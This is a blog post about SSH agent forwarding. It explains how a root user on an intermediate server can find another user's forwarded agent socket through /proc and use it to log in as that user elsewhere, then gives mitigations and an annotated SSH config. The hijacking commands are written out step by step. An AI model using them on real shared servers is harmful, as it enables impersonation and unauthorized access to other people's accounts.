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Tuesday, 26 March 2013

SSH Agent Hijacking

When ForwardAgent Can't Be Trusted

SSH without passwords makes life with Unix-like operating systems much easier. If your network requires chained ssh sessions (to access a restricted network, for example), agent forwarding becomes extremely helpful. With agent forwarding it's possible for me to connect from my laptop to my dev server and from there run an svn checkout from yet another server, all without passwords, while keeping my private key safe on my local workstation.
This can be dangerous, though. A quick web search will reveal several articles indicating this is only safe if the intermediate hosts are trustworthy. Rarely, however, will you find an explanation of why it's dangerous.
That's what this article is for. But first, some background.

How Passwordless Authentication Works

When authenticating in normal mode, SSH uses your password to prove that you are who you say you are. The server compares a hash of this password to one it has on file, verifies that the hashes match, and lets you in.
If an attacker is able to break the encryption used to protect your password while it's being sent to the server, they can steal the it and log in as you whenever they desire. If an attacker is allowed to perform hundreds of thousands of attempts, they can eventually guess your password.
A much safer authentication method is public key authentication, a way of logging in without a password. Public key authentication requires a matched pair of public and private keys. The public key encrypts messages that can only be decrypted with the private key. The remote computer uses its copy of your public key to encrypt a secret message to you. You prove you are you by decrypting the message using your private key and sending the message back to the remote computer. Your private key remains safely on your local computer the entire time, safe from attack.
The private key is valuable and must be protected, so by default it is stored in an encrypted format. Unfortunately this means entering your encryption passphrase before using it. Many articles suggest using passphrase-less (unencrypted) private keys to avoid this inconvenience. That's a bad idea, as anyone with access to your workstation (via physical access, theft, or hackery) now also has free access to any computers configured with your public key.
OpenSSH includes ssh-agent, a daemon that runs on your local workstation. It loads a decrypted copy of your private key into memory, so you only have to enter your passphrase once. It then provides a local socket that the ssh client can use to ask it to decrypt the encrypted message sent back by the remote server. Your private key stays safely ensconced in the ssh-agent process' memory while still allowing you to ssh around without typing in passwords.

How ForwardAgent Works

Many tasks require "chaining" ssh sessions. Consider my example from earlier: I ssh from my workstation to the dev server. While there, I need to perform an svn update, using the "svn+ssh" protocol. Since it would be silly to leave an unencrypted copy of my super-secret private key on a shared server, I'm now stuck with password authentication. If, however, I enabled "ForwardAgent" in the ssh config on my workstation, ssh uses its built-in tunneling capabilities to create another socket on the dev server that is tunneled back to the ssh-agent socket on my local workstation. This means that the ssh client on the dev server can now send "decrypt this secret message" requests directly back to the ssh-agent running on my workstation, authenticating itself to the svn server without ever having access to my private key.

Why This Can Be Dangerous

Simply put, anyone with root privilege on the the intermediate server can make free use of your ssh-agent to authenticate them to other servers. A simple demonstration shows how trivially this can be done. Hostnames and usernames have been changed to protect the innocent.
My laptop is running ssh-agent, which communicates with the ssh client programs via a socket. The path to this socket is stored in the SSH_AUTH_SOCK environment variable:
mylaptop:~ env|grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners

mylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners
srwx------  1 alice  wheel  0 Apr  3 11:04 /tmp/launch-oQKpeY/Listeners
The ssh-add program lets us view and interact with keys in the agent:
mylaptop:~ alice$ ssh-add -l
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
I have "ForwardAgent yes" in the ~/.ssh/config on my laptop. So ssh is going to create a tunnel connecting the local socket to a local socket on the remote server:
mylaptop:~ alice$ ssh seattle

seattle:~ $ env|grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990
Even though my keys are not installed on "seattle", the ssh client programs are still able to access the agent running on my local machine:
seattle:~ alice $ ssh-add -l
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
So... who can we mess with?
seattle:~ alice $ who
alice   pts/0        2012-04-06 18:24 (office.example.com)
bob     pts/1        2012-04-03 01:29 (office.example.com)
alice   pts/3        2012-04-06 18:31 (office.example.com)
alice   pts/5        2012-04-06 18:31 (office.example.com)
alice   pts/6        2012-04-06 18:33 (office.example.com)
charlie pts/23       2012-04-06 13:10 (office.example.com)
charlie pts/27       2012-04-03 12:32 (office.example.com)
bob     pts/29       2012-04-02 10:58 (office.example.com)
I've never liked Bob. To find his agent connection, I need to find the child process of one of his ssh sessions:
seattle:~ alice $ sudo -s
[sudo] password for alice:

seattle:~ root # pstree -p bob
sshd(16816)───bash(16817)

sshd(25296)───bash(25297)───vim(14308)
There are several ways for root to view the environment of a running process. On Linux, the data is available in /proc/<pid>/environ. Since it's stored in NULL-terminated strings, I'll use tr to convert the NULLs to newlines:
seattle:~ root # tr '\0' '\n' < /proc/16817/environ | grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816
I now have everything I need to know in order to hijack Bob's ssh-agent:
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l
2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA)
If I happen to have a specific target in mind, I should now be able to connect directly. Otherwise, just watching the process list or grepping through Bob's history file should present plenty of targets of opportunity. In this case, I know Bob has all sorts of super secret files stored on the server named "boston":
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
bob@boston:~$ whoami
bob
I have succesfully parlayed my root privileges on "seattle" to access as bob on "boston". I'll bet I can use that to get him fired.

Protect Yourself!

Don't let your ssh-agent store your keys indefinitely. On OS X, configure your Keychain to lock after inactivity or when your screen locks. On other Unix-y platforms, pass the -t  option to ssh-agent so its keys will be removed after  seconds.
Don't enable agent forwarding when connecting to untrustworthy hosts. Fortunately, the ~/.ssh/config syntax makes this fairly simple:
Host trustworthyhost
  ForwardAgent yes
Host *
  ForwardAgent no

Annotated SSH Configuration

Example SSH Config

# insecure
Host insecure insecure.example.com
    HostName insecure.example.com

# bastion
Host bastion bastion.example.com
    HostName bastion.example.com
    ForwardAgent yes
    ControlMaster auto
    ControlPath ~/.ssh/master-%r@%h:%p

# production
Host prod production prod*.example.com
    HostName production.example.com
    ForwardAgent yes
    ProxyCommand ssh -q bastion nc -w30 %h %p

# global defaults
Host *
    User arthur
    ServerAliveCountMax 6
    ServerAliveInterval 10

Section: # insecure

This section is for a server on the Internet that we think is insecure (we do not trust the administrators--those with root access).
# insecure
Host insecure insecure.example.com
    HostName insecure.example.com
  1. # insecure is a comment. It helps provide context for for the line that follows it.
  2. Host insecure insecure.example.com indicates the host patterns that the subsequent parameters apply to. All of the following will work to connect to the configured HostName:
    • ssh insecure
    • ssh insecure.example.com
  3. HostName insecure.example.com specifies the real host name to log into.
Additionally, the following defaults are important. The parameter is not in this section because the default value is appropriate. It should be acknowledged so that it is not unintentionally superseded by a configured parameter:
  1. ForwardAgent no specifies that the authentication agent will not be forwarded. This prevents administrators on untrusted remote servers from masquerading as you on any system on which you have your SSH public key. See SSH Agent Hijacking for more information.

Section: # bastion

This section is for a server on the Internet that acts as a SSH bastion. It provides access to servers behind a firewall.
# bastion
Host bastion bastion.example.com
    HostName bastion.example.com
    ControlMaster auto
    ControlPath ~/.ssh/master-%r@%h:%p
  1. # bastion is a comment. It helps provide context for for the line that follows it.
  2. Host bastion bastion.example.com indicates the host patterns that the subsequent paramters apply to. All of the following will work to connect to the configured HostName:
    • ssh bastion
    • ssh bastion.example.com
  3. HostName bastion.example.com specifies the real host name to log into.
  4. ForwardAgent yes specifies that the authentication agent will be forwarded to the remote server.
    • This is important for the bastion server as it allows public key sessions from the bastion to other servers (especially those behind the firewall). This means you will be able to connect to those servers without a password.
  5. ControlMaster auto indicates SSH should listen for connections on a control socket. Additional sessions can connect to this socket and reuse the master instances (bastion's) network connection rather than initiating a new one.
  6. ControlPath ~/.ssh/master-%r@%h:%p supports the ControlMaster parameter. See ssh_config(5) OS X Manual Page if you are really curious.

Section: # production

This section is for a server on the Internet that acts as a SSH production. It provides access to servers behind a firewall.
# production
Host prod production prod*.example.com
    HostName production.example.com
    ForwardAgent yes
    ProxyCommand ssh -q bastion nc -w30 %h %p
  1. # production is a comment. It helps provide context for for the line that follows it.
  2. Host prod production prod*.example.com indicates the host patterns that the subsequent parameters apply to. All of the following will work to connect to the configured HostName:
    • ssh prod
    • ssh production
    • ssh prod.example.com
    • ssh production.example.com
  3. HostName production.example.com specifies the real host name to log into.
  4. ForwardAgent yes specifies that the authentication agent will be forwarded to the remote server.
    • This is important for the production server as it allows public key sessions from the production server to other servers (especially source code repository servers).
  5. ProxyCommand ssh -q bastion nc -w30 %h %p specifies the command to use to connect to the server.
    • This allows the connections to servers behind the firewall using the bastion server as a proxy. Any SSH client (ex. ssh command line, svn, Transmit) will see the production session as a single connection. It just works!

Section: # global defaults

The global defaults for all hosts is specified last. Its parameters apply if they are not previously defined (which is why it should be the last section of your SSH config).
# global defaults
Host *
    User arthur
    ForwardAgent no
    ServerAliveCountMax 6
    ServerAliveInterval 10
  1. # global defaults is a comment. It helps provide context for for the line that follows it.
  2. Host * indicates this is the global defaults section.
  3. User arthur specifies the user to log in as (remember, in our example the local username is arthurdent).
  4. ServerAliveCountMax 6 helps ensure robust proxied sessions. See ssh_config(5) OS X Manual Page if you are really curious.
  5. ServerAliveInterval 10 helps ensure robust proxied sessions. See ssh_config(5) OS X Manual Page if you are really curious.
Additionally, the following defaults are important. The parameter is not in this section because the default value is appropriate. It should be acknowledged so that it is not unintentionally superseded by a configured parameter:
  1. ForwardAgent no specifies that the authentication agent will not be forwarded. This prevents administrators on untrusted remote servers from masquerading as you on any system on which you have your SSH public key. See SSH Agent Hijacking for more information.

References

from https://github.com/ClockworkNet/cmc/blob/master/docs/annotated_config.rst
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